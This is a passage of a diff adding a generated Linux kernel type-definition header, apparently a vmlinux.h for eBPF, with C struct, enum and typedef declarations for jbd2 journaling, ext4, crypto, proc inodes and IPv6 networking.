1; + struct file *executable; + struct file *interpreter; + struct file *file; + struct cred *cred; + int unsafe; + unsigned int per_clear; + int argc; + int envc; + const char *filename; + const char *interp; + const char *fdpath; + unsigned int interp_flags; + int execfd; + long unsigned int loader; + long unsigned int exec; + struct rlimit rlim_stack; + char buf[256]; +}; + +union proc_op { + int (*proc_get_link)(struct dentry *, struct path *); + int (*proc_show)(struct seq_file *, struct pid_namespace *, struct pid *, struct task_struct *); + const char *lsm; +}; + +struct proc_inode { + struct pid *pid; + unsigned int fd; + union proc_op op; + struct proc_dir_entry *pde; + struct ctl_table_header *sysctl; + struct ctl_table *sysctl_entry; + struct hlist_node sibling_inodes; + const struct proc_ns_operations *ns_ops; + struct inode vfs_inode; +}; + +typedef __u16 __le16; + +typedef __u32 __le32; + +typedef __u64 __le64; + +struct buffer_head; + +typedef void bh_end_io_t(struct buffer_head *, int); + +struct buffer_head { + long unsigned int b_state; + struct buffer_head *b_this_page; + union { + struct page *b_page; + struct folio *b_folio; + }; + sector_t b_blocknr; + size_t b_size; + char *b_data; + struct block_device *b_bdev; + bh_end_io_t *b_end_io; + void *b_private; + struct list_head b_assoc_buffers; + struct address_space *b_assoc_map; + atomic_t b_count; + spinlock_t b_uptodate_lock; +}; + +typedef unsigned int tid_t; + +struct transaction_chp_stats_s { + long unsigned int cs_chp_time; + __u32 cs_forced_to_close; + __u32 cs_written; + __u32 cs_dropped; +}; + +struct journal_s; + +typedef struct journal_s journal_t; + +struct journal_head; + +struct transaction_s; + +typedef struct transaction_s transaction_t; + +struct transaction_s { + journal_t *t_journal; + tid_t t_tid; + enum { + T_RUNNING = 0, + T_LOCKED = 1, + T_SWITCH = 2, + T_FLUSH = 3, + T_COMMIT = 4, + T_COMMIT_DFLUSH = 5, + T_COMMIT_JFLUSH = 6, + T_COMMIT_CALLBACK = 7, + T_FINISHED = 8, + } t_state; + long unsigned int t_log_start; + int t_nr_buffers; + struct journal_head *t_reserved_list; + struct journal_head *t_buffers; + struct journal_head *t_forget; + struct journal_head *t_checkpoint_list; + struct journal_head *t_checkpoint_io_list; + struct journal_head *t_shadow_list; + struct list_head t_inode_list; + spinlock_t t_handle_lock; + long unsigned int t_max_wait; + long unsigned int t_start; + long unsigned int t_requested; + struct transaction_chp_stats_s t_chp_stats; + atomic_t t_updates; + atomic_t t_outstanding_credits; + atomic_t t_outstanding_revokes; + atomic_t t_handle_count; + transaction_t *t_cpnext; + transaction_t *t_cpprev; + long unsigned int t_expires; + ktime_t t_start_time; + unsigned int t_synchronous_commit: 1; + int t_need_data_flush; + struct list_head t_private_list; +}; + +struct jbd2_buffer_trigger_type; + +struct journal_head { + struct buffer_head *b_bh; + spinlock_t b_state_lock; + int b_jcount; + unsigned int b_jlist; + unsigned int b_modified; + char *b_frozen_data; + char *b_committed_data; + transaction_t *b_transaction; + transaction_t *b_next_transaction; + struct journal_head *b_tnext; + struct journal_head *b_tprev; + transaction_t *b_cp_transaction; + struct journal_head *b_cpnext; + struct journal_head *b_cpprev; + struct jbd2_buffer_trigger_type *b_triggers; + struct jbd2_buffer_trigger_type *b_frozen_triggers; +}; + +struct jbd2_buffer_trigger_type { + void (*t_frozen)(struct jbd2_buffer_trigger_type *, struct buffer_head *, void *, size_t); + void (*t_abort)(struct jbd2_buffer_trigger_type *, struct buffer_head *); +}; + +struct crypto_alg; + +struct crypto_tfm { + refcount_t refcnt; + u32 crt_flags; + int node; + void (*exit)(struct crypto_tfm *); + struct crypto_alg *__crt_alg; + void *__crt_ctx[0]; +}; + +struct cipher_alg { + unsigned int cia_min_keysize; + unsigned int cia_max_keysize; + int (*cia_setkey)(struct crypto_tfm *, const u8 *, unsigned int); + void (*cia_encrypt)(struct crypto_tfm *, u8 *, const u8 *); + void (*cia_decrypt)(struct crypto_tfm *, u8 *, const u8 *); +}; + +struct compress_alg { + int (*coa_compress)(struct crypto_tfm *, const u8 *, unsigned int, u8 *, unsigned int *); + int (*coa_decompress)(struct crypto_tfm *, const u8 *, unsigned int, u8 *, unsigned int *); +}; + +struct crypto_type; + +struct crypto_alg { + struct list_head cra_list; + struct list_head cra_users; + u32 cra_flags; + unsigned int cra_blocksize; + unsigned int cra_ctxsize; + unsigned int cra_alignmask; + int cra_priority; + refcount_t cra_refcnt; + char cra_name[128]; + char cra_driver_name[128]; + const struct crypto_type *cra_type; + union { + struct cipher_alg cipher; + struct compress_alg compress; + } cra_u; + int (*cra_init)(struct crypto_tfm *); + void (*cra_exit)(struct crypto_tfm *); + void (*cra_destroy)(struct crypto_alg *); + struct module *cra_module; +}; + +struct crypto_instance; + +struct crypto_type { + unsigned int (*ctxsize)(struct crypto_alg *, u32, u32); + unsigned int (*extsize)(struct crypto_alg *); + int (*init)(struct crypto_tfm *, u32, u32); + int (*init_tfm)(struct crypto_tfm *); + void (*show)(struct seq_file *, struct crypto_alg *); + int (*report)(struct sk_buff *, struct crypto_alg *); + void (*free)(struct crypto_instance *); + unsigned int type; + unsigned int maskclear; + unsigned int maskset; + unsigned int tfmsize; +}; + +struct crypto_shash { + unsigned int descsize; + struct crypto_tfm base; +}; + +struct transaction_run_stats_s { + long unsigned int rs_wait; + long unsigned int rs_request_delay; + long unsigned int rs_running; + long unsigned int rs_locked; + long unsigned int rs_flushing; + long unsigned int rs_logging; + __u32 rs_handle_count; + __u32 rs_blocks; + __u32 rs_blocks_logged; +}; + +struct transaction_stats_s { + long unsigned int ts_tid; + long unsigned int ts_requested; + struct transaction_run_stats_s run; +}; + +enum passtype { + PASS_SCAN = 0, + PASS_REVOKE = 1, + PASS_REPLAY = 2, +}; + +struct journal_superblock_s; + +typedef struct journal_superblock_s journal_superblock_t; + +struct jbd2_revoke_table_s; + +struct jbd2_inode; + +struct journal_s { + long unsigned int j_flags; + long unsigned int j_atomic_flags; + int j_errno; + struct mutex j_abort_mutex; + struct buffer_head *j_sb_buffer; + journal_superblock_t *j_superblock; + int j_format_version; + rwlock_t j_state_lock; + int j_barrier_count; + struct mutex j_barrier; + transaction_t *j_running_transaction; + transaction_t *j_committing_transaction; + transaction_t *j_checkpoint_transactions; + wait_queue_head_t j_wait_transaction_locked; + wait_queue_head_t j_wait_done_commit; + wait_queue_head_t j_wait_commit; + wait_queue_head_t j_wait_updates; + wait_queue_head_t j_wait_reserved; + wait_queue_head_t j_fc_wait; + struct mutex j_checkpoint_mutex; + struct buffer_head *j_chkpt_bhs[64]; + struct shrinker j_shrinker; + struct percpu_counter j_checkpoint_jh_count; + transaction_t *j_shrink_transaction; + long unsigned int j_head; + long unsigned int j_tail; + long unsigned int j_free; + long unsigned int j_first; + long unsigned int j_last; + long unsigned int j_fc_first; + long unsigned int j_fc_off; + long unsigned int j_fc_last; + struct block_device *j_dev; + int j_blocksize; + long long unsigned int j_blk_offset; + char j_devname[56]; + struct block_device *j_fs_dev; + unsigned int j_total_len; + atomic_t j_reserved_credits; + spinlock_t j_list_lock; + struct inode *j_inode; + tid_t j_tail_sequence; + tid_t j_transaction_sequence; + tid_t j_commit_sequence; + tid_t j_commit_request; + __u8 j_uuid[16]; + struct task_struct *j_task; + int j_max_transaction_buffers; + int j_revoke_records_per_block; + long unsigned int j_commit_interval; + struct timer_list j_commit_timer; + spinlock_t j_revoke_lock; + struct jbd2_revoke_table_s *j_revoke; + struct jbd2_revoke_table_s *j_revoke_table[2]; + struct buffer_head **j_wbuf; + struct buffer_head **j_fc_wbuf; + int j_wbufsize; + int j_fc_wbufsize; + pid_t j_last_sync_writer; + u64 j_average_commit_time; + u32 j_min_batch_time; + u32 j_max_batch_time; + void (*j_commit_callback)(journal_t *, transaction_t *); + int (*j_submit_inode_data_buffers)(struct jbd2_inode *); + int (*j_finish_inode_data_buffers)(struct jbd2_inode *); + spinlock_t j_history_lock; + struct proc_dir_entry *j_proc_entry; + struct transaction_stats_s j_stats; + unsigned int j_failed_commit; + void *j_private; + struct crypto_shash *j_chksum_driver; + __u32 j_csum_seed; + struct lockdep_map j_trans_commit_map; + void (*j_fc_cleanup_callback)(struct journal_s *, int, tid_t); + int (*j_fc_replay_callback)(struct journal_s *, struct buffer_head *, enum passtype, int, tid_t); + int (*j_bmap)(struct journal_s *, sector_t *); +}; + +struct journal_header_s { + __be32 h_magic; + __be32 h_blocktype; + __be32 h_sequence; +}; + +typedef struct journal_header_s journal_header_t; + +struct journal_superblock_s { + journal_header_t s_header; + __be32 s_blocksize; + __be32 s_maxlen; + __be32 s_first; + __be32 s_sequence; + __be32 s_start; + __be32 s_errno; + __be32 s_feature_compat; + __be32 s_feature_incompat; + __be32 s_feature_ro_compat; + __u8 s_uuid[16]; + __be32 s_nr_users; + __be32 s_dynsuper; + __be32 s_max_transaction; + __be32 s_max_trans_data; + __u8 s_checksum_type; + __u8 s_padding2[3]; + __be32 s_num_fc_blks; + __u32 s_padding[41]; + __be32 s_checksum; + __u8 s_users[768]; +}; + +struct jbd2_inode { + transaction_t *i_transaction; + transaction_t *i_next_transaction; + struct list_head i_list; + struct inode *i_vfs_inode; + long unsigned int i_flags; + loff_t i_dirty_start; + loff_t i_dirty_end; +}; + +struct bgl_lock { + spinlock_t lock; +}; + +struct blockgroup_lock { + struct bgl_lock locks[128]; +}; + +struct fscrypt_dummy_policy {}; + +struct fsverity_operations { + int (*begin_enable_verity)(struct file *); + int (*end_enable_verity)(struct file *, const void *, size_t, u64); + int (*get_verity_descriptor)(struct inode *, void *, size_t); + struct page * (*read_merkle_tree_page)(struct inode *, long unsigned int, long unsigned int); + int (*write_merkle_tree_block)(struct inode *, const void *, u64, unsigned int); +}; + +typedef int ext4_grpblk_t; + +typedef long long unsigned int ext4_fsblk_t; + +typedef __u32 ext4_lblk_t; + +typedef unsigned int ext4_group_t; + +struct ext4_system_blocks { + struct rb_root root; + struct callback_head rcu; +}; + +struct flex_groups { + atomic64_t free_clusters; + atomic_t free_inodes; + atomic_t used_dirs; +}; + +struct ext4_es_stats { + long unsigned int es_stats_shrunk; + struct percpu_counter es_stats_cache_hits; + struct percpu_counter es_stats_cache_misses; + u64 es_stats_scan_time; + u64 es_stats_max_scan_time; + struct percpu_counter es_stats_all_cnt; + struct percpu_counter es_stats_shk_cnt; +}; + +struct ext4_fc_stats { + unsigned int fc_ineligible_reason_count[10]; + long unsigned int fc_num_commits; + long unsigned int fc_ineligible_commits; + long unsigned int fc_failed_commits; + long unsigned int fc_skipped_commits; + long unsigned int fc_numblks; + u64 s_fc_avg_commit_time; +}; + +struct ext4_fc_alloc_region { + ext4_lblk_t lblk; + ext4_fsblk_t pblk; + int ino; + int len; +}; + +struct ext4_fc_replay_state { + int fc_replay_num_tags; + int fc_replay_expected_off; + int fc_current_pass; + int fc_cur_tag; + int fc_crc; + struct ext4_fc_alloc_region *fc_regions; + int fc_regions_size; + int fc_regions_used; + int fc_regions_valid; + int *fc_modified_inodes; + int fc_modified_inodes_used; + int fc_modified_inodes_size; +}; + +struct ext4_super_block { + __le32 s_inodes_count; + __le32 s_blocks_count_lo; + __le32 s_r_blocks_count_lo; + __le32 s_free_blocks_count_lo; + __le32 s_free_inodes_count; + __le32 s_first_data_block; + __le32 s_log_block_size; + __le32 s_log_cluster_size; + __le32 s_blocks_per_group; + __le32 s_clusters_per_group; + __le32 s_inodes_per_group; + __le32 s_mtime; + __le32 s_wtime; + __le16 s_mnt_count; + __le16 s_max_mnt_count; + __le16 s_magic; + __le16 s_state; + __le16 s_errors; + __le16 s_minor_rev_level; + __le32 s_lastcheck; + __le32 s_checkinterval; + __le32 s_creator_os; + __le32 s_rev_level; + __le16 s_def_resuid; + __le16 s_def_resgid; + __le32 s_first_ino; + __le16 s_inode_size; + __le16 s_block_group_nr; + __le32 s_feature_compat; + __le32 s_feature_incompat; + __le32 s_feature_ro_compat; + __u8 s_uuid[16]; + char s_volume_name[16]; + char s_last_mounted[64]; + __le32 s_algorithm_usage_bitmap; + __u8 s_prealloc_blocks; + __u8 s_prealloc_dir_blocks; + __le16 s_reserved_gdt_blocks; + __u8 s_journal_uuid[16]; + __le32 s_journal_inum; + __le32 s_journal_dev; + __le32 s_last_orphan; + __le32 s_hash_seed[4]; + __u8 s_def_hash_version; + __u8 s_jnl_backup_type; + __le16 s_desc_size; + __le32 s_default_mount_opts; + __le32 s_first_meta_bg; + __le32 s_mkfs_time; + __le32 s_jnl_blocks[17]; + __le32 s_blocks_count_hi; + __le32 s_r_blocks_count_hi; + __le32 s_free_blocks_count_hi; + __le16 s_min_extra_isize; + __le16 s_want_extra_isize; + __le32 s_flags; + __le16 s_raid_stride; + __le16 s_mmp_update_interval; + __le64 s_mmp_block; + __le32 s_raid_stripe_width; + __u8 s_log_groups_per_flex; + __u8 s_checksum_type; + __u8 s_encryption_level; + __u8 s_reserved_pad; + __le64 s_kbytes_written; + __le32 s_snapshot_inum; + __le32 s_snapshot_id; + __le64 s_snapshot_r_blocks_count; + __le32 s_snapshot_list; + __le32 s_error_count; + __le32 s_first_error_time; + __le32 s_first_error_ino; + __le64 s_first_error_block; + __u8 s_first_error_func[32]; + __le32 s_first_error_line; + __le32 s_last_error_time; + __le32 s_last_error_ino; + __le32 s_last_error_line; + __le64 s_last_error_block; + __u8 s_last_error_func[32]; + __u8 s_mount_opts[64]; + __le32 s_usr_quota_inum; + __le32 s_grp_quota_inum; + __le32 s_overhead_clusters; + __le32 s_backup_bgs[2]; + __u8 s_encrypt_algos[4]; + __u8 s_encrypt_pw_salt[16]; + __le32 s_lpf_ino; + __le32 s_prj_quota_inum; + __le32 s_checksum_seed; + __u8 s_wtime_hi; + __u8 s_mtime_hi; + __u8 s_mkfs_time_hi; + __u8 s_lastcheck_hi; + __u8 s_first_error_time_hi; + __u8 s_last_error_time_hi; + __u8 s_first_error_errcode; + __u8 s_last_error_errcode; + __le16 s_encoding; + __le16 s_encoding_flags; + __le32 s_orphan_file_inum; + __le32 s_reserved[94]; + __le32 s_checksum; +}; + +struct ext4_journal_trigger { + struct jbd2_buffer_trigger_type tr_triggers; + struct super_block *sb; +}; + +struct ext4_orphan_block { + atomic_t ob_free_entries; + struct buffer_head *ob_bh; +}; + +struct ext4_orphan_info { + int of_blocks; + __u32 of_csum_seed; + struct ext4_orphan_block *of_binfo; +}; + +struct mb_cache; + +struct ext4_group_info; + +struct ext4_locality_group; + +struct ext4_li_request; + +struct ext4_sb_info { + long unsigned int s_desc_size; + long unsigned int s_inodes_per_block; + long unsigned int s_blocks_per_group; + long unsigned int s_clusters_per_group; + long unsigned int s_inodes_per_group; + long unsigned int s_itb_per_group; + long unsigned int s_gdb_count; + long unsigned int s_desc_per_block; + ext4_group_t s_groups_count; + ext4_group_t s_blockfile_groups; + long unsigned int s_overhead; + unsigned int s_cluster_ratio; + unsigned int s_cluster_bits; + loff_t s_bitmap_maxbytes; + struct buffer_head *s_sbh; + struct ext4_super_block *s_es; + struct buffer_head **s_group_desc; + unsigned int s_mount_opt; + unsigned int s_mount_opt2; + long unsigned int s_mount_flags; + unsigned int s_def_mount_opt; + unsigned int s_def_mount_opt2; + ext4_fsblk_t s_sb_block; + atomic64_t s_resv_clusters; + kuid_t s_resuid; + kgid_t s_resgid; + short unsigned int s_mount_state; + short unsigned int s_pad; + int s_addr_per_block_bits; + int s_desc_per_block_bits; + int s_inode_size; + int s_first_ino; + unsigned int s_inode_readahead_blks; + unsigned int s_inode_goal; + u32 s_hash_seed[4]; + int s_def_hash_version; + int s_hash_unsigned; + struct percpu_counter s_freeclusters_counter; + struct percpu_counter s_freeinodes_counter; + struct percpu_counter s_dirs_counter; + struct percpu_counter s_dirtyclusters_counter; + struct percpu_counter s_sra_exceeded_retry_limit; + struct blockgroup_lock *s_blockgroup_lock; + struct proc_dir_entry *s_proc; + struct kobject s_kobj; + struct completion s_kobj_unregister; + struct super_block *s_sb; + struct buffer_head *s_mmp_bh; + struct journal_s *s_journal; + long unsigned int s_ext4_flags; + struct mutex s_orphan_lock; + struct list_head s_orphan; + struct ext4_orphan_info s_orphan_info; + long unsigned int s_commit_interval; + u32 s_max_batch_time; + u32 s_min_batch_time; + struct block_device *s_journal_bdev; + unsigned int s_want_extra_isize; + struct ext4_system_blocks *s_system_blks; + struct ext4_group_info ***s_group_info; + struct inode *s_buddy_cache; + spinlock_t s_md_lock; + short unsigned int *s_mb_offsets; + unsigned int *s_mb_maxs; + unsigned int s_group_info_size; + unsigned int s_mb_free_pending; + struct list_head s_freed_data_list; + struct list_head s_discard_list; + struct work_struct s_discard_work; + atomic_t s_retry_alloc_pending; + struct list_head *s_mb_avg_fragment_size; + rwlock_t *s_mb_avg_fragment_size_locks; + struct list_head *s_mb_largest_free_orders; + rwlock_t *s_mb_largest_free_orders_locks; + long unsigned int s_stripe; + unsigned int s_mb_max_linear_groups; + unsigned int s_mb_stream_request; + unsigned int s_mb_max_to_scan; + unsigned int s_mb_min_to_scan; + unsigned int s_mb_stats; + unsigned int s_mb_order2_reqs; + unsigned int s_mb_group_prealloc; + unsigned int s_max_dir_size_kb; + long unsigned int s_mb_last_group; + long unsigned int s_mb_last_start; + unsigned int s_mb_prefetch; + unsigned int s_mb_prefetch_limit; + atomic_t s_bal_reqs; + atomic_t s_bal_success; + atomic_t s_bal_allocated; + atomic_t s_bal_ex_scanned; + atomic_t s_bal_groups_scanned; + atomic_t s_bal_goals; + atomic_t s_bal_breaks; + atomic_t s_bal_2orders; + atomic_t s_bal_cr0_bad_suggestions; + atomic_t s_bal_cr1_bad_suggestions; + atomic64_t s_bal_cX_groups_considered[4]; + atomic64_t s_bal_cX_hits[4]; + atomic64_t s_bal_cX_failed[4]; + atomic_t s_mb_buddies_generated; + atomic64_t s_mb_generation_time; + atomic_t s_mb_lost_chunks; + atomic_t s_mb_preallocated; + atomic_t s_mb_discarded; + atomic_t s_lock_busy; + struct ext4_locality_group *s_locality_groups; + long unsigned int s_sectors_written_start; + u64 s_kbytes_written; + unsigned int s_extent_max_zeroout_kb; + unsigned int s_log_groups_per_flex; + struct flex_groups **s_flex_groups; + ext4_group_t s_flex_groups_allocated; + struct workqueue_struct *rsv_conversion_wq; + struct timer_list s_err_report; + struct ext4_li_request *s_li_request; + unsigned int s_li_wait_mult; + struct task_struct *s_mmp_tsk; + long unsigned int s_last_trim_minblks; + struct crypto_shash *s_chksum_driver; + __u32 s_csum_seed; + struct shrinker s_es_shrinker; + struct list_head s_es_list; + long int s_es_nr_inode; + struct ext4_es_stats s_es_stats; + struct mb_cache *s_ea_block_cache; + struct mb_cache *s_ea_inode_cache; + long: 64; + spinlock_t s_es_lock; + struct ext4_journal_trigger s_journal_triggers[1]; + struct ratelimit_state s_err_ratelimit_state; + struct ratelimit_state s_warning_ratelimit_state; + struct ratelimit_state s_msg_ratelimit_state; + atomic_t s_warning_count; + atomic_t s_msg_count; + struct fscrypt_dummy_policy s_dummy_enc_policy; + struct percpu_rw_semaphore s_writepages_rwsem; + struct dax_device *s_daxdev; + u64 s_dax_part_off; + errseq_t s_bdev_wb_err; + spinlock_t s_bdev_wb_lock; + spinlock_t s_error_lock; + int s_add_error_count; + int s_first_error_code; + __u32 s_first_error_line; + __u32 s_first_error_ino; + __u64 s_first_error_block; + const char *s_first_error_func; + time64_t s_first_error_time; + int s_last_error_code; + __u32 s_last_error_line; + __u32 s_last_error_ino; + __u64 s_last_error_block; + const char *s_last_error_func; + time64_t s_last_error_time; + struct work_struct s_error_work; + atomic_t s_fc_subtid; + struct list_head s_fc_q[2]; + struct list_head s_fc_dentry_q[2]; + unsigned int s_fc_bytes; + spinlock_t s_fc_lock; + struct buffer_head *s_fc_bh; + struct ext4_fc_stats s_fc_stats; + tid_t s_fc_ineligible_tid; + struct ext4_fc_replay_state s_fc_replay_state; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct ext4_group_info { + long unsigned int bb_state; + struct rb_root bb_free_root; + ext4_grpblk_t bb_first_free; + ext4_grpblk_t bb_free; + ext4_grpblk_t bb_fragments; + int bb_avg_fragment_size_order; + ext4_grpblk_t bb_largest_free_order; + ext4_group_t bb_group; + struct list_head bb_prealloc_list; + struct rw_semaphore alloc_sem; + struct list_head bb_avg_fragment_size_node; + struct list_head bb_largest_free_order_node; + ext4_grpblk_t bb_counters[0]; +}; + +enum ext4_li_mode { + EXT4_LI_MODE_PREFETCH_BBITMAP = 0, + EXT4_LI_MODE_ITABLE = 1, +}; + +struct ext4_li_request { + struct super_block *lr_super; + enum ext4_li_mode lr_mode; + ext4_group_t lr_first_not_zeroed; + ext4_group_t lr_next_group; + struct list_head lr_request; + long unsigned int lr_next_sched; + long unsigned int lr_timeout; +}; + +struct iomap_ops; + +typedef int __kernel_key_t; + +typedef __kernel_key_t key_t; + +enum { + WORK_STRUCT_PENDING_BIT = 0LL, + WORK_STRUCT_INACTIVE_BIT = 1LL, + WORK_STRUCT_PWQ_BIT = 2LL, + WORK_STRUCT_LINKED_BIT = 3LL, + WORK_STRUCT_COLOR_SHIFT = 4LL, + WORK_STRUCT_COLOR_BITS = 4LL, + WORK_STRUCT_PENDING = 1LL, + WORK_STRUCT_INACTIVE = 2LL, + WORK_STRUCT_PWQ = 4LL, + WORK_STRUCT_LINKED = 8LL, + WORK_STRUCT_STATIC = 0LL, + WORK_NR_COLORS = 16LL, + WORK_CPU_UNBOUND = 128LL, + WORK_STRUCT_FLAG_BITS = 8LL, + WORK_OFFQ_FLAG_BASE = 4LL, + __WORK_OFFQ_CANCELING = 4LL, + WORK_OFFQ_CANCELING = 16LL, + WORK_OFFQ_FLAG_BITS = 1LL, + WORK_OFFQ_POOL_SHIFT = 5LL, + WORK_OFFQ_LEFT = 59LL, + WORK_OFFQ_POOL_BITS = 31LL, + WORK_OFFQ_POOL_NONE = 2147483647LL, + WORK_STRUCT_FLAG_MASK = 255LL, + WORK_STRUCT_WQ_DATA_MASK = -256LL, + WORK_STRUCT_NO_POOL = 68719476704LL, + WORK_BUSY_PENDING = 1LL, + WORK_BUSY_RUNNING = 2LL, + WORKER_DESC_LEN = 24LL, +}; + +struct kern_ipc_perm { + spinlock_t lock; + bool deleted; + int id; + key_t key; + kuid_t uid; + kgid_t gid; + kuid_t cuid; + kgid_t cgid; + umode_t mode; + long unsigned int seq; + void *security; + struct rhash_head khtnode; + struct callback_head rcu; + refcount_t refcount; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct ethhdr { + unsigned char h_dest[6]; + unsigned char h_source[6]; + __be16 h_proto; +}; + +struct ipv6_stable_secret { + bool initialized; + struct in6_addr secret; +}; + +struct ipv6_devconf { + __s32 forwarding; + __s32 hop_limit; + __s32 mtu6; + __s32 accept_ra; + __s32 accept_redirects; + __s32 autoconf; + __s32 dad_transmits; + __s32 rtr_solicits; + __s32 rtr_solicit_interval; + __s32 rtr_solicit_max_interval; + __s32 rtr_solicit_delay; + __s32 force_mld_version; + __s32 mldv1_unsolicited_report_interval; + __s32 mldv2_unsolicited_report_interval; + __s32 use_tempaddr; + __s32 temp_valid_lft; + __s32 temp_prefered_lft; + __s32 regen_max_retry; + __s32 max_desync_factor; + __s32 max_addresses; + __s32 accept_ra_defrtr; + __u32 ra_defrtr_metric; + __s32 accept_ra_min_hop_limit; + __s32 accept_ra_pinfo; + __s32 ignore_routes_with_linkdown; + __s32 accept_ra_rtr_pref; + __s32 rtr_probe_interval; + __s32 accept_ra_rt_info_min_plen; + __s32 accept_ra_rt_info_max_plen; + __s32 proxy_ndp; + __s32 accept_source_route; + __s32 accept_ra_from_local; + __s32 disable_ipv6; + __s32 drop_unicast_in_l2_multicast; + __s32 accept_dad; + __s32 force_tllao; + __s32 ndisc_notify; + __s32 suppress_frag_ndisc; + __s32 accept_ra_mtu; + __s32 drop_unsolicited_na; + __s32 accept_untracked_na; + struct ipv6_stable_secret stable_secret; + __s32 use_oif_addrs_only; + __s32 keep_addr_on_down; + __s32 seg6_enabled; + __u32 enhanced_dad; + __u32 addr_gen_mode; + __s32 disable_policy; + __s32 ndisc_tclass; + __s32 rpl_seg_enabled; + __u32 ioam6_id; + __u32 ioam6_id_wide; + __u8 ioam6_enabled; + __u8 ndisc_evict_nocarrier; + struct ctl_table_header *sysctl_header; +}; + +struct ipv6_params { + __s32 disable_ipv6; + __s32 autoconf; +}; + +struct icmpv6_mib_device { + atomic_long_t mibs[7]; +}; + +struct icmpv6msg_mib_device { + atomic_long_t mibs[512]; +}; + +struct ip_ra_chain { + struct ip_ra_chain *next; + struct sock *sk; + union { + void (*destructor)(struct sock *); + struct sock *saved_sk; + }; + struct callback_head rcu; +}; + +struct fib_table { + struct hlist_node tb_hlist; + u32 tb_id; + int tb_num_default; + struct callback_head rcu; + long unsigned int *tb_data; + long unsigned int __data[0]; +}; + +struct inet_peer_base { + struct rb_root rb_root; + seqlock_t lock; + int total; +}; + +enum { + NAPI_STATE_SCHED = 0, + NAPI_STATE_MISSED = 1, + NAPI_STATE_DISABLE = 2, + NAPI_STATE_NPSVC = 3, + NAPI_STATE_LISTED = 4, + NAPI_STATE_NO_BUSY_POLL = 5, + NAPI_STATE_IN_BUSY_POLL = 6, + NAPI_STATE_PREFER_BUSY_POLL = 7, + NAPI_STATE_THREADED = 8, + NAPI_STATE_SCHED_THREADED = 9, +}; + +enum xps_map_type { + XPS_CPUS = 0, + XPS_RXQS = 1, + XPS_MAPS_MAX = 2, +}; + +enum bpf_xdp_mode { + XDP_MODE_SKB = 0, + XDP_MODE_DRV = 1, + XDP_MODE_HW = 2, + __MAX_XDP_MODE = 3, +}; + +struct ipv6_devstat { + struct proc_dir_entry *proc_dir_entry; + struct ipstats_mib *ipv6; + struct icmpv6_mib_device *icmpv6dev; + struct icmpv6msg_mib_device *icmpv6msgdev; +}; + +struct ifmcaddr6; + +struct ifacaddr6; + +struct inet6_dev { + struct net_device *dev; + netdevice_tracker dev_tracker; + struct list_head addr_list; + struct ifmcaddr6 *mc_list; + struct ifmcaddr6 *mc_tomb; + unsigned char mc_qrv; + unsigned char mc_gq_running; + unsigned char mc_ifc_count; + unsigned char mc_dad_count; + long unsigned int mc_v1_seen; + long unsigned int mc_qi; + long unsigned int mc_qri; + long unsigned int mc_maxdelay; + struct delayed_work mc_gq_work; + struct delayed_work mc_ifc_work; + struct delayed_work mc_dad_work; + struct delayed_work mc_query_work; + struct delayed_work mc_report_work; + struct sk_buff_head mc_query_queue; + struct sk_buff_head mc_report_queue; + spinlock_t mc_query_lock; + spinlock_t mc_report_lock; + struct mutex mc_lock; + struct ifacaddr6 *ac_list; + rwlock_t lock; + refcount_t refcnt; + __u32 if_flags; + int dead; + u32 desync_factor; + struct list_head tempaddr_list; + struct in6_addr token; + struct neigh_parms *nd_parms; + struct ipv6_devconf cnf; + struct ipv6_devstat stats; + struct timer_list rs_timer; + __s32 rs_interval; + __u8 rs_probes; + long unsigned int tstamp; + struct callback_head rcu; + unsigned int ra_mtu; +}; + +enum { + NETIF_MSG_DRV_BIT = 0, + NETIF_MSG_PROBE_BIT = 1, + NETIF_MSG_LINK_BIT = 2, + NETIF_MSG_TIMER_BIT = 3, + NETIF_MSG_IFDOWN_BIT = 4, + NETIF_MSG_IFUP_BIT = 5, + NETIF_MSG_RX_ERR_BIT = 6, + NETIF_MSG_TX_ERR_BIT = 7, + NETIF_MSG_TX_QUEUED_BIT = 8, + NETIF_MSG_INTR_BIT = 9, + NETIF_MSG_TX_DONE_BIT = 10, + NETIF_MSG_RX_STATUS_BIT = 11, + NETIF_MSG_PKTDATA_BIT = 12, + NETIF_MSG_HW_BIT = 13, + NETIF_MSG_WOL_BIT = 14, + NETIF_MSG_CLASS_COUNT = 15, +}; + +enum { + RTAX_UNSPEC = 0, + RTAX_LOCK = 1, + RTAX_MTU = 2, + RTAX_WINDOW = 3, + RTAX_RTT = 4, + RTAX_RTTVAR = 5, + RTAX_SSTHRESH = 6, + RTAX_CWND = 7, + RTAX_ADVMSS = 8, + RTAX_REORDERING = 9, + RTAX_HOPLIMIT = 10, + RTAX_INITCWND = 11, + RTAX_FEATURES = 12, + RTAX_RTO_MIN = 13, + RTAX_INITRWND = 14, + RTAX_QUICKACK = 15, + RTAX_CC_ALGO = 16, + RTAX_FASTOPEN_NO_COOKIE = 17, + __RTAX_MAX = 18, +}; + +struct nl_info { + struct nlmsghdr *nlh; + struct net *nl_net; + u32 portid; + u8 skip_notify: 1; + u8 skip_notify_kernel: 1; +}; + +enum { + NEIGH_VAR_MCAST_PROBES = 0, + NEIGH_VAR_UCAST_PROBES = 1, + NEIGH_VAR_APP_PROBES = 2, + NEIGH_VAR_MCAST_REPROBES = 3, + NEIGH_VAR_RETRANS_TIME = 4, + NEIGH_VAR_BASE_REACHABLE_TIME = 5, + NEIGH_VAR_DELAY_PROBE_TIME = 6, + NEIGH_VAR_INTERVAL_PROBE_TIME_MS = 7, + NEIGH_VAR_GC_STALETIME = 8, + NEIGH_VAR_QUEUE_LEN_BYTES = 9, + NEIGH_VAR_PROXY_QLEN = 10, + NEIGH_VAR_ANYCAST_DELAY = 11, + NEIGH_VAR_PROXY_DELAY = 12, + NEIGH_VAR_LOCKTIME = 13, + NEIGH_VAR_QUEUE_LEN = 14, + NEIGH_VAR_RETRANS_TIME_MS = 15, + NEIGH_VAR_BASE_REACHABLE_TIME_MS = 16, + NEIGH_VAR_GC_INTERVAL = 17, + NEIGH_VAR_GC_THRESH1 = 18, + NEIGH_VAR_GC_THRESH2 = 19, + NEIGH_VAR_GC_THRESH3 = 20, + NEIGH_VAR_MAX = 21, +}; + +struct lwtunnel_state { + __u16 type; + __u16 flags; + __u16 headroom; + atomic_t refcnt; + int (*orig_output)(struct net *, struct sock *, struct sk_buff *); + int (*orig_input)(struct sk_buff *); + struct callback_head rcu; + __u8 data[0]; +}; + +enum { + TCP_ESTABLISHED = 1, + TCP_SYN_SENT = 2, + TCP_SYN_RECV = 3, + 